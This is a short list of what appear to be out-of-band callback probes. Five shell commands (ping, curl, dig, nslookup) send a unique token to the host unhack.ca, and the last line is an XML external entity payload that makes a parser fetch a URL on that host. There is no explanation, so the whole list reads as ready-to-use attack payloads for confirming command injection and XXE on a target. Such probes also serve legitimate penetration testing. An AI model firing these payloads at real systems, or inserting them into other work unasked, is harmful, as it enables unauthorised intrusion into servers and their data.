$ ping -c1 -p 00cfb1c0e1f8c82b6072712fe4be1f00 unhack.ca
$ curl http://unhack.ca/p/cfb1c0e1f8c82b6072712fe4be1f
$ dig cfb1c0e1f8c82b6072712fe4be1f @unhack.ca
$ dig cfb1c0e1f8c82b6072712fe4be1f.ns.unhack.ca
C:\> nslookup cfb1c0e1f8c82b6072712fe4be1f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/cfb1c0e1f8c82b6072712fe4be1f">]> <foo>&xxe;</foo>